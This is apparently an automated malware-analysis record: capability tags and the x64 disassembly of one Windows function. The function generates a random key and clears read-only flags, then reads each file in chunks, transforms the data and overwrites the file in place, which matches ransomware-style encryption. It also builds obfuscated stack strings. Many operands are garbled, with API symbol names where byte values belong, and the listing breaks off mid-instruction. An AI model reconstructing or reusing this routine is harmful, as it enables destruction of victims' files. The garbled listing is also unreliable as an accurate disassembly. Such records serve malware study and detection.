Function at 0x14000c4c0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using base64
Generate random numbers via winapi
Get file attributes
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x148
movaps xmmword [rsp + 0x130], xmm6
mov qword [rsp + 0x40], rdx
mov r12, rcx
mov rax, qword [0x1400503c8]
xor rax, rsp
mov qword [rsp + 0x128], rax
lea rdi, [rcx + 0x2080]
mov rcx, r8
mov edx, 0x20
mov r8, rdi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x14000c852
call fcn.140004960
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r12 + 0x20a0], xmm0
movups xmmword [r12 + 0x20b0], xmm1
xorps xmm6, xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
call fcn.140004970
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
lea rdi, [rsp + 0x90]
lea rcx, [rsp + 0xb0]
lea rbx, [rsp + 0x70]
mov edx, 0x40
mov r8, rbx
call fcn.14000a9d0
lea r13, [r12 + 0x18]
mov r8d, 0x204c
mov rcx, r13
xor edx, edx
call fcn.140033e10
mov rcx, r13
mov rdx, rbx
mov r8d, 0x100
mov r9d, 0x100
call fcn.1400046a0
mov rcx, r13
mov rdx, rdi
call fcn.140004720
mov rcx, rbx
mov edx, 0x40
call fcn.1400097f0
mov dword [r12 + 0x20c0], eax
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000c676
mov ecx, eax
and ecx, 1
je 0x14000c676
xor eax, 1
mov rcx, qword [r12]
mov edx, eax
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov rcx, qword [r12]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov qword [r12 + 8], rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, qword [r12 + 8]
cmp rcx, 0xffffffffffffffff
je 0x14000cf7f
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x14000cbf3
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14000cbf3
mov qword [r12 + 0x10], rax
cmp rax, 0x400000
jg 0x14000dcaa
xor edi, edi
mov rcx, r12
xor edx, edx
call fcn.14000e390
test eax, eax
je 0x14000e208
mov dword [rsp + 0x70], 0
mov rdi, qword [r12 + 0x10]
test rdi, rdi
jle 0x14000e377
xor ebp, ebp
mov eax, 0x100000
lea r9, [rsp + 0x70]
mov rsi, qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rbx, [rsp + 0xb0]
mov r15, qword [sym.imp.KERNEL32.DLL_WriteFile]
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x68], r12
mov r8, rdi
sub r8, rbp
cmp r8, 0x100000
cmovge r8d, eax
mov rcx, qword [r12 + 8]
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x40]
call rsi
test eax, eax
je 0x14000e377
mov r14d, dword [rsp + 0x70]
test r14d, r14d
je 0x14000e377
mov dword [rsp + 0x20], r14d
xor ecx, ecx
mov rdx, r13
mov r8, qword [rsp + 0x40]
mov r9, r8
call fcn.1400048a0
mov edx, dword [rsp + 0x70]
neg rdx
mov rcx, qword [r12 + 8]
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
test eax, eax
je 0x14000e377
add rbp, r14
mov rsi, rbp
mov rdi, qword [r12 + 8]
mov dword [rsp + 0xb0], 0
xor r13d, r13d
mov ebp, r14d
xor r12d, r12d
mov edx, r13d
add rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov r8d, ebp
mov r9, rbx
call r15
test eax, eax
je 0x14000e377
mov eax, dword [rsp + 0xb0]
test eax, eax
je 0x14000e377
add r13d, eax
add r12d, eax
sub ebp, eax
cmp r12d, r14d
jne 0x14000c7e0
mov rdi, qword [rsp + 0x48]
mov rbp, rsi
cmp rdi, rsi
mov r12, qword [rsp + 0x68]
mov r13, qword [rsp + 0x50]
mov eax, 0x100000
lea r9, [rsp + 0x70]
mov rsi, qword [sym.imp.KERNEL32.DLL_ReadFile]
jg 0x14000c74b
jmp 0x14000e377
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], 0x63
mov byte [rsp + 0xb2], 0x4d
mov byte [rsp + 0xb3], 0x58
mov byte [rsp + 0xb4], 0x4d
mov byte [rsp + 0xb5], 0x4f
mov byte [rsp + 0xb6], 0x4d
mov byte [rsp + 0xb7], gethostbyname
mov byte [rsp + 0xb8], 0x4d
mov byte [rsp + 0xb9], 0x1a
mov byte [rsp + 0xba], 0x4d
mov byte [rsp + 0xbb], 6
mov byte [rsp + 0xbc], 0x4d
mov byte [rsp + 0xbd], 0x23
mov byte [rsp + 0xbe], 0x4d
mov byte [rsp + 0xbf], 0x5f
mov byte [rsp + 0xc0], 0x4d
mov byte [rsp + 0xc1], 0x4f
mov byte [rsp + 0xc2], 0x4d
mov byte [rsp + 0xc3], 6
mov byte [rsp + 0xc4], 0x4d
mov byte [rsp + 0xc5], 0x2a
mov byte [rsp + 0xc6], 0x4d
mov byte [rsp + 0xc7], 0x5f
mov byte [rsp + 0xc8], 0x4d
mov byte [rsp + 0xc9], 3
mov byte [rsp + 0xca], 0x4d
mov byte [rsp + 0xcb], 6
mov byte [rsp + 0xcc], 0x4d
mov byte [rsp + 0xcd], 0x41
mov byte [rsp + 0xce], 0x4d
mov byte [rsp + 0xcf], gethostbyname
mov byte [rsp + 0xd0], 0x4d
mov byte [rsp + 0xd1], 0x56
mov byte [rsp + 0xd2], 0x4d
mov byte [rsp + 0xd3], 6
mov byte [rsp + 0xd4], 0x4d
mov byte [rsp + 0xd5], 0x41
mov byte [rsp + 0xd6], 0x4d
mov byte [rsp + 0xd7], 0x66
mov byte [rsp + 0xd8], 0x4d
mov byte [rsp + 0xd9], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0xda], 0x4d
mov byte [rsp + 0xdb], 0x5f
mov byte [rsp + 0xdc], 0x4d
mov byte [rsp + 0xdd], 6
mov byte [rsp + 0xde], 0x4d
mov byte [rsp + 0xdf], WSACleanup
mov byte [rsp + 0xe0], 0x4d
mov byte [rsp + 0xe1], gethostname
mov byte [rsp + 0xe2], 0x4d
mov byte [rsp + 0xe3], 0x5e
mov byte [rsp + 0xe4], 0x4d
mov byte [rsp + 0xe5], 6
mov byte [rsp + 0xe6], 0x4d
mov byte [rsp + 0xe7], WSAGetLastError
mov byte [rsp + 0xe8], 0x4d
mov byte [rsp + 0xe9], 0x5f
mov byte [rsp + 0xea], 0x4d
mov byte [rsp + 0xeb], 0x1a
mov byte [rsp + 0xec], 0x4d
mov byte [rsp + 0xed], 0x53
mov byte [rsp + 0xee], 0x4d
mov byte [rsp + 0xef], 0x58
mov byte [rsp + 0xf0], 0x4d
mov byte [rsp + 0xf1], gethostname
mov byte [rsp + 0xf2], 0x4d
mov byte [rsp + 0xf3], 0x1a
mov byte [rsp + 0xf4], 0x4d
mov byte [rsp + 0xf5], 0x27
mov byte [rsp + 0xf6], 0x4d
mov byte [rsp + 0xf7], 0x56
mov byte [rsp + 0xf8], 0x4d
mov byte [rsp + 0xf9], 0x56
mov byte [rsp + 0xfa], 0x4d
mov byte [rsp + 0xfb], gethostbyname
mov byte [rsp + 0xfc], 0x4d
mov byte [rsp + 0xfd], 0x56
mov byte [rsp + 0xfe], 0x4d
mov byte [rsp + 0xff], 6
mov byte [rsp + 0x100], 0x4d
mov byte [rsp + 0x101], 0x19
mov byte [rsp + 0x102], 0x4d
mov byte [rsp + 0x103], 6
mov byte [rsp + 0x104], 0x4d
mov byte [rsp + 0x105], WSACleanup
mov byte [rsp + 0x106], 0x4d
mov byte [rsp + 0x107], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x108], 0x4d
mov byte [rsp + 0x109], 0x7b
mov byte [rsp + 0x10a], 0x4d
mov byte [rsp + 0x10b], 0x4d
mov byte [rsp + 0x10c], 0x4d
mov bl, byte [rsp + 0xb0]
test bl, 1
jne 0x14000e1fe
mov ebp, 1
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rsp + rbp + 0xb0]
movzx ebx, bl
imul ebx, ebx, 0x37
mov edi, ebx
add edi, 0xffffef75
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0xffffef75
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0xffffef75
add bl, 0x7f
movzx esi, bl
lea edi, [rsi + rsi*2]
shr edi, 8
mov ebx, esi
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub sil, bl
mov byte [rsp + rbp + 0xb0], sil
add rbp, 1
cmp rbp, 0x5d
jne 0x14000cb70
jmp 0x14000e1fe
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], 0x5c
mov byte [rsp + 0xb2], WSACleanup
mov byte [rsp + 0xb3], 0x65
mov byte [rsp + 0xb4], WSACleanup
mov byte [rsp + 0xb5], shutdown
mov byte [rsp + 0xb6], WSACleanup
mov byte [rsp + 0xb7], WSACleanup
mov byte [rsp + 0xb8], WSACleanup
mov byte [rsp + 0xb9], 0x5e
mov byte [rsp + 0xba], WSACleanup
mov byte [rsp + 0xbb], shutdown
mov byte [rsp + 0xbc], WSACleanup
mov byte [rsp + 0xbd], reloc.WS2_32.dll_gethostbyname
mov byte [rsp + 0xbe], WSACleanup
mov byte [rsp + 0xbf], 0x1a
mov byte [rsp + 0xc0], WSACleanup
mov byte [rsp + 0xc1], 0x5e
mov byte [rsp + 0xc2], WSACleanup
mov byte [rsp + 0xc3], shutdown
mov byte [rsp + 0xc4], WSACleanup
mov byte [rsp + 0xc5], 0x27
mov byte [rsp + 0xc6], WSACleanup
mov byte [rsp + 0xc7], 0x4e
mov byte [rsp + 0xc8], WSACleanup
mov byte [rsp + 0xc9], 0x75
mov byte [rsp + 0xca], WSACleanup
mov byte [rsp + 0xcb], 0x1a
mov byte [rsp + 0xcc], WSACleanup
mov byte [rsp + 0xcd], shutdown
mov byte [rsp + 0xce], WSACleanup
mov byte [rsp + 0xcf], 0x51
mov byte [rsp + 0xd0], WSACleanup
mov byte [rsp + 0xd1], 0x4e
mov byte [rsp + 0xd2], WSACleanup
mov byte [rsp + 0xd3], gethostbyname
mov byte [rsp + 0xd4], WSACleanup
mov byte [rsp + 0xd5], 0x1a
mov byte [rsp + 0xd6], WSACleanup
mov byte [rsp + 0xd7], shutdown
mov byte [rsp + 0xd8], WSACleanup
mov byte [rsp + 0xd9], 0x53
mov byte [rsp + 0xda], WSACleanup
mov byte [rsp + 0xdb], 0x51
mov byte [rsp + 0xdc], WSACleanup
mov byte [rsp + 0xdd], 0x49
mov byte [rsp + 0xde], WSACleanup
mov byte [rsp + 0xdf], shutdown
mov byte [rsp + 0xe0], WSACleanup
mov byte [rsp + 0xe1], shutdown
mov byte [rsp + 0xe2], WSACleanup
mov byte [rsp + 0xe3], 0x1a
mov byte [rsp + 0xe4], WSACleanup
mov byte [rsp + 0xe5], 0x5e
mov byte [rsp + 0xe6], WSACleanup
mov byte [rsp + 0xe7], 0x52
mov byte [rsp + 0xe8], WSACleanup
mov byte [rsp + 0xe9], 0x65
mov byte [rsp + 0xea], WSACleanup
mov byte [rsp + 0xeb], 0x51
mov byte [rsp + 0xec], WSACleanup
mov byte [rsp + 0xed], 0x5e
mov byte [rsp + 0xee], WSACleanup
mov byte [rsp + 0xef], 0x76
mov byte [rsp + 0xf0], WSACleanup
mov byte [rsp + 0xf1], 0x44
mov byte [rsp + 0xf2], WSACleanup
mov byte [rsp + 0xf3], 0x44
mov byte [rsp + 0xf4], WSACleanup
mov byte [rsp + 0xf5], 0x1d
mov byte [rsp + 0xf6], WSACleanup
mov byte [rsp + 0xf7], 0x44
mov byte [rsp + 0xf8], WSACleanup
mov byte [rsp + 0xf9], shutdown
mov byte [rsp + 0xfa], WSACleanup
mov byte [rsp + 0xfb], setsockopt
mov byte [rsp + 0xfc], WSACleanup
mov byte [rsp + 0xfd], shutdown
mov byte [rsp + 0xfe], WSACleanup
mov byte [rsp + 0xff], 0x53
mov byte [rsp + 0x100], WSACleanup
mov byte [rsp + 0x101], 0x75
mov byte [rsp + 0x102], WSACleanup
mov byte [rsp + 0x103], WSAGetLastError
mov byte [rsp + 0x104], WSACleanup
mov byte [rsp + 0x105], WSACleanup
mov byte [rsp + 0x106], WSACleanup
mov bl, byte [rsp + 0xb0]
test bl, 1
jne 0x14000cf5e
mov ebp, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ebx, byte [rsp + rbp + 0xb0]
movzx ebx, bl
imul ebx, ebx, 0xffffffd9
mov edi, ebx
add edi, 0x10c2
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0x10c2
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0x10c2
add bl, 0x7f
movzx esi, bl
lea edi, [rsi + rsi*2]
shr edi, 8
mov ebx, esi
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub sil, bl
mov byte [rsp + rbp + 0xb0], sil
add rbp, 1
cmp rbp, 0x57
jne 0x14000cee0
mov r8d, eax
call fcn.14000eec0
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [r12 + 8], 0xffffffffffffffff
jmp 0x14000e206
and eax, 0xfffffffe
cmp eax, 0x20
jne 0x14000d983
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], 0x1b
mov byte [rsp + 0xb2], WSAGetLastError
mov byte [rsp + 0xb3], WSACleanup
mov byte [rsp + 0xb4], WSAGetLastError
mov byte [rsp + 0xb5], 0x26
mov byte [rsp + 0xb6], WSAGetLastError
mov byte [rsp + 0xb7], gethostbyname
mov byte [rsp + 0xb8], WSAGetLastError
mov byte [rsp + 0xb9], shutdown
mov byte [rsp + 0xba], WSAGetLastError
mov byte [rsp + 0xbb], 0x65
mov byte [rsp + 0xbc], WSAGetLastError
mov byte [rsp + 0xbd], 0x1e
mov byte [rsp + 0xbe], WSAGetLastError
mov byte [rsp + 0xbf], shutdown
mov byte [rsp + 0xc0], WSAGetLastError
mov byte [rsp + 0xc1], WSACleanup
mov byte [rsp + 0xc2], WSAGetLastError
mov byte [rsp + 0xc3], 0x1e
mov byte [rsp + 0xc4], WSAGetLastError
mov byte [rsp + 0xc5], shutdown
mov byte [rsp + 0xc6], WSAGetLastError
mov byte [rsp + 0xc7], WSAGetLastError
mov byte [rsp + 0xc8], WSAGetLastError
mov byte [rsp + 0xc9], 0x26
mov byte [rsp + 0xca], WSAGetLastError
mov byte [rsp + 0xcb], 0xd
mov byte [rsp + 0xcc], WSAGetLastError
mov byte [rsp + 0xcd], gethostbyname
mov byte [rsp + 0xce], WSAGetLastError
mov byte [rsp + 0xcf], WSAGetLastError
mov byte [rsp + 0xd0], WSAGetLastError
mov byte [rsp + 0xd1], 0x1d
mov byte [rsp + 0xd2], WSAGetLastError
mov byte [rsp + 0xd3], 5
mov byte [rsp + 0xd4], WSAGetLastError
mov byte [rsp + 0xd5], shutdown
mov byte [rsp + 0xd6], WSAGetLastError
mov byte [rsp + 0xd7], 0x59
mov byte [rsp + 0xd8], WSAGetLastError
mov byte [rsp + 0xd9], WSAGetLastError
mov byte [rsp + 0xda], WSAGetLastError
mov byte [rsp + 0xdb], gethostbyname
mov byte [rsp + 0xdc], WSAGetLastError
mov byte [rsp + 0xdd], 0x48
mov byte [rsp + 0xde], WSAGetLastError
mov byte [rsp + 0xdf], shutdown
mov byte [rsp + 0xe0], WSAGetLastError
mov byte [rsp + 0xe1], 0x7a
mov byte [rsp + 0xe2], WSAGetLastError
mov byte [rsp + 0xe3], 5
mov byte [rsp + 0xe4], WSAGetLastError
mov byte [rsp + 0xe5], shutdown
mov byte [rsp + 0xe6], WSAGetLastError
mov byte [rsp + 0xe7], WSAGetLastError
mov byte [rsp + 0xe8], WSAGetLastError
mov byte [rsp + 0xe9], 0x48
mov byte [rsp + 0xea], WSAGetLastError
mov byte [rsp + 0xeb], 0x59
mov byte [rsp + 0xec], WSAGetLastError
mov byte [rsp + 0xed], gethostbyname
mov byte [rsp + 0xee], WSAGetLastError
mov byte [rsp + 0xef], 0x61
mov byte [rsp + 0xf0], WSAGetLastError
mov byte [rsp + 0xf1], gethostbyname
mov byte [rsp + 0xf2], WSAGetLastError
mov byte [rsp + 0xf3], 0xd
mov byte [rsp + 0xf4], WSAGetLastError
mov byte [rsp + 0xf5], shutdown
mov byte [rsp + 0xf6], WSAGetLastError
mov byte [rsp + 0xf7], WSAGetLastError
mov byte [rsp + 0xf8], WSAGetLastError
mov byte [rsp + 0xf9], 0xd
mov byte [rsp + 0xfa], WSAGetLastError
mov byte [rsp + 0xfb], 0x59
mov byte [rsp + 0xfc], WSAGetLastError
mov byte [rsp + 0xfd], 0x50
mov byte [rsp + 0xfe], WSAGetLastError
mov byte [rsp + 0xff], 0xd
mov byte [rsp + 0x100], WSAGetLastError
mov byte [rsp + 0x101], WSAGetLastError
mov byte [rsp + 0x102], WSAGetLastError
mov byte [rsp + 0x103], gethostname
mov byte [rsp + 0x104], WSAGetLastError
mov byte [rsp + 0x105], 0
mov byte [rsp + 0x106], WSAGetLastError
mov byte [rsp + 0x107], WSAGetLastError
mov byte [rsp + 0x108], WSAGetLastError
mov al, byte [rsp + 0xb0]
test al, 1
jne 0x14000d307
mov esi, 1
nop word cs:[rax + rax]
nop dword [rax]
movzx ebx, byte [rsp + rsi + 0xb0]
movzx ebp, bl
lea ebp, [rbp + rbp*4]
lea ebx, [rbp + rbp*2]
lea ebp, [rbp + rbp*2 - 0x645]
movsx ebp, bp
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, ebx
add ebp, 0xfffff9bb
movzx ebp, bp
mov edi, ebp
shr edi, 0xf
shr ebp, 6
add ebp, edi
mov edi, ebp
shl edi, 7
sub ebp, edi
add ebp, ebx
add ebp, 0xfffff9bb
add bpl, 0x7f
movzx ebp, bpl
lea ebx, [rbp + rbp*2]
shr ebx, 8
mov eax, ebp
sub al, bl
shr al, 1
add al, bl
shr al, 6
movzx ebx, al
mov eax, ebx
shl eax, 7
sub eax, ebx
sub bpl, al
mov byte [rsp + rsi + 0xb0], bpl
add rsi, 1
cmp rsi, 0x59
jne 0x14000d280
call fcn.14000eec0
mov rcx, qword [r12]
call fcn.14000c200
test eax, eax
je 0x14000ddd2
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], 4
mov byte [rsp + 0xb2], 0x3c
mov byte [rsp + 0xb3], 7
mov byte [rsp + 0xb4], 0x3c
mov byte [rsp + 0xb5], shutdown
mov byte [rsp + 0xb6], 0x3c
mov byte [rsp + 0xb7], shutdown
mov byte [rsp + 0xb8], 0x3c
mov byte [rsp + 0xb9], 0x43
mov byte [rsp + 0xba], 0x3c
mov byte [rsp + 0xbb], 7
mov byte [rsp + 0xbc], 0x3c
mov byte [rsp + 0xbd], shutdown
mov byte [rsp + 0xbe], 0x3c
mov byte [rsp + 0xbf], 0x20
mov byte [rsp + 0xc0], 0x3c
mov byte [rsp + 0xc1], WSAGetLastError
mov byte [rsp + 0xc2], 0x3c
mov byte [rsp + 0xc3], WSACleanup
mov byte [rsp + 0xc4], 0x3c
mov byte [rsp + 0xc5], 0x47
mov byte [rsp + 0xc6], 0x3c
mov byte [rsp + 0xc7], 0x20
mov byte [rsp + 0xc8], 0x3c
mov byte [rsp + 0xc9], gethostbyname
mov byte [rsp + 0xca], 0x3c
mov byte [rsp + 0xcb], WSACleanup
mov byte [rsp + 0xcc], 0x3c
mov byte [rsp + 0xcd], 0x79
mov byte [rsp + 0xce], 0x3c
mov byte [rsp + 0xcf], 0x21
mov byte [rsp + 0xd0], 0x3c
mov byte [rsp + 0xd1], gethostbyname
mov byte [rsp + 0xd2], 0x3c
mov byte [rsp + 0xd3], WSACleanup
mov byte [rsp + 0xd4], 0x3c
mov byte [rsp + 0xd5], 0x79
mov byte [rsp + 0xd6], 0x3c
mov byte [rsp + 0xd7], 7
mov byte [rsp + 0xd8], 0x3c
mov byte [rsp + 0xd9], shutdown
mov byte [rsp + 0xda], 0x3c
mov byte [rsp + 0xdb], 0x20
mov byte [rsp + 0xdc], 0x3c
mov byte [rsp + 0xdd], WSACleanup
mov byte [rsp + 0xde], 0x3c
mov byte [rsp + 0xdf], gethostbyname
mov byte [rsp + 0xe0], 0x3c
mov byte [rsp + 0xe1], 8
mov byte [rsp + 0xe2], 0x3c
mov byte [rsp + 0xe3], WSACleanup
mov byte [rsp + 0xe4], 0x3c
mov byte [rsp + 0xe5], 1
mov byte [rsp + 0xe6], 0x3c
mov byte [rsp + 0xe7], WSACleanup
mov byte [rsp + 0xe8], 0x3c
mov byte [rsp + 0xe9], 8
mov byte [rsp + 0xea], 0x3c
mov byte [rsp + 0xeb], 0x3b
mov byte [rsp + 0xec], 0x3c
mov byte [rsp + 0xed], WSAGetLastError
mov byte [rsp + 0xee], 0x3c
mov byte [rsp + 0xef], WSAGetLastError
mov byte [rsp + 0xf0], 0x3c
mov byte [rsp + 0xf1], 0x20
mov byte [rsp + 0xf2], 0x3c
mov byte [rsp + 0xf3], 8
mov byte [rsp + 0xf4], 0x3c
mov byte [rsp + 0xf5], 8
mov byte [rsp + 0xf6], 0x3c
mov byte [rsp + 0xf7], 0x3c
mov byte [rsp + 0xf8], 0x3c
mov al, byte [rsp + 0xb0]
test al, 1
jne 0x14000d615
mov esi, 1
nop word cs:[rax + rax]
nop
movzx ebx, byte [rsp + rsi + 0xb0]
movzx ebp, bl
lea ebp, [rbp + rbp*4]
lea ebx, [rbp + rbp - 0x258]
movsx ebx, bx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
lea ebx, [rbx + rbp*2]
add ebx, 0xfffffda8
movzx ebx, bx
mov edi, ebx
shr edi, 0xf
shr ebx, 6
add ebx, edi
mov edi, ebx
shl edi, 7
sub ebx, edi
lea ebp, [rbx + rbp*2]
add ebp, 0xfffffda8
add bpl, 0x7f
movzx ebp, bpl
lea ebx, [rbp + rbp*2]
shr ebx, 8
mov eax, ebp
sub al, bl
shr al, 1
add al, bl
shr al, 6
movzx ebx, al
mov eax, ebx
shl eax, 7
sub eax, ebx
sub bpl, al
mov byte [rsp + rsi + 0xb0], bpl
add rsi, 1
cmp rsi, 0x49
jne 0x14000d590
call fcn.14000eec0
mov rcx, qword [r12]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rcx, rax
mov qword [r12 + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x14000c6be
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], 0x25
mov byte [rsp + 0xb2], 0x53
mov byte [rsp + 0xb3], 0x3c
mov byte [rsp + 0xb4], 0x53
mov byte [rsp + 0xb5], 0x7d
mov byte [rsp + 0xb6], 0x53
mov byte [rsp + 0xb7], 0x18
mov byte [rsp + 0xb8], 0x53
mov byte [rsp + 0xb9], 0x1c
mov byte [rsp + 0xba], 0x53
mov byte [rsp + 0xbb], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xbc], 0x53
mov byte [rsp + 0xbd], 3
mov byte [rsp + 0xbe], 0x53
mov byte [rsp + 0xbf], 8
mov byte [rsp + 0xc0], 0x53
mov byte [rsp + 0xc1], 0x50
mov byte [rsp + 0xc2], 0x53
mov byte [rsp + 0xc3], 0x7d
mov byte [rsp + 0xc4], 0x53
mov byte [rsp + 0xc5], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xc6], 0x53
mov byte [rsp + 0xc7], 0x55
mov byte [rsp + 0xc8], 0x53
mov byte [rsp + 0xc9], 0x64
mov byte [rsp + 0xca], 0x53
mov byte [rsp + 0xcb], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xcc], 0x53
mov byte [rsp + 0xcd], 0x50
mov byte [rsp + 0xce], 0x53
mov byte [rsp + 0xcf], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xd0], 0x53
mov byte [rsp + 0xd1], setsockopt
mov byte [rsp + 0xd2], 0x53
mov byte [rsp + 0xd3], reloc.WS2_32.dll_socket
mov byte [rsp + 0xd4], 0x53
mov byte [rsp + 0xd5], 0x3b
mov byte [rsp + 0xd6], 0x53
mov byte [rsp + 0xd7], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xd8], 0x53
mov byte [rsp + 0xd9], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0xda], 0x53
mov byte [rsp + 0xdb], 0x50
mov byte [rsp + 0xdc], 0x53
mov byte [rsp + 0xdd], 0x1c
mov byte [rsp + 0xde], 0x53
mov byte [rsp + 0xdf], 0x52
mov byte [rsp + 0xe0], 0x53
mov byte [rsp + 0xe1], 0x3c
mov byte [rsp + 0xe2], 0x53
mov byte [rsp + 0xe3], reloc.WS2_32.dll_socket
mov byte [rsp + 0xe4], 0x53
mov byte [rsp + 0xe5], 0x1c
mov byte [rsp + 0xe6], 0x53
mov byte [rsp + 0xe7], gethostbyname
mov byte [rsp + 0xe8], 0x53
mov byte [rsp + 0xe9], shutdown
mov byte [rsp + 0xea], 0x53
mov byte [rsp + 0xeb], shutdown
mov byte [rsp + 0xec], 0x53
mov byte [rsp + 0xed], 3
mov byte [rsp + 0xee], 0x53
mov byte [rsp + 0xef], shutdown
mov byte [rsp + 0xf0], 0x53
mov byte [rsp + 0xf1], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xf2], 0x53
mov byte [rsp + 0xf3], 7
mov byte [rsp + 0xf4], 0x53
mov byte [rsp + 0xf5], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0xf6], 0x53
mov byte [rsp + 0xf7], setsockopt
mov byte [rsp + 0xf8], 0x53
mov byte [rsp + 0xf9], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xfa], 0x53
mov byte [rsp + 0xfb], 0x21
mov byte [rsp + 0xfc], 0x53
mov byte [rsp + 0xfd], 0x53
mov byte [rsp + 0xfe], 0x53
mov bl, byte [rsp + 0xb0]
test bl, 1
jne 0x14000e1fe
mov ebp, 1
nop dword [rax]
movzx ebx, byte [rsp + rbp + 0xb0]
movzx ebx, bl
imul ebx, ebx, 0x33
mov edi, ebx
add edi, 0xffffef77
movsx edi, di
imul edi, edi, 0xffff8103
shr edi, 0x10
add edi, ebx
add edi, 0xffffef77
movzx edi, di
mov esi, edi
shr esi, 0xf
shr edi, 6
add edi, esi
mov esi, edi
shl esi, 7
sub edi, esi
add ebx, edi
add ebx, 0xffffef77
add bl, 0x7f
movzx esi, bl
lea edi, [rsi + rsi*2]
shr edi, 8
mov ebx, esi
sub bl, dil
shr bl, 1
add bl, dil
shr bl, 6
movzx edi, bl
mov ebx, edi
shl ebx, 7
sub ebx, edi
sub sil, bl
mov byte [rsp + rbp + 0xb0], sil
add rbp, 1
cmp rbp, 0x4f
jne 0x14000d900
jmp 0x14000e1fe
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, qword [r12]
mov byte [rsp + 0xb0], 0
lea rcx, [rsp + 0xb1]
mov byte [rsp + 0xb1], shutdown
mov byte [rsp + 0xb2], 3
mov byte [rsp + 0xb3], 0x4b
mov byte [rsp + 0xb4], 3
mov byte [rsp + 0xb5], pe_nt_image_headers64
mov byte [rsp + 0xb6], 3
mov byte [rsp + inet_ntoa7], 0xb
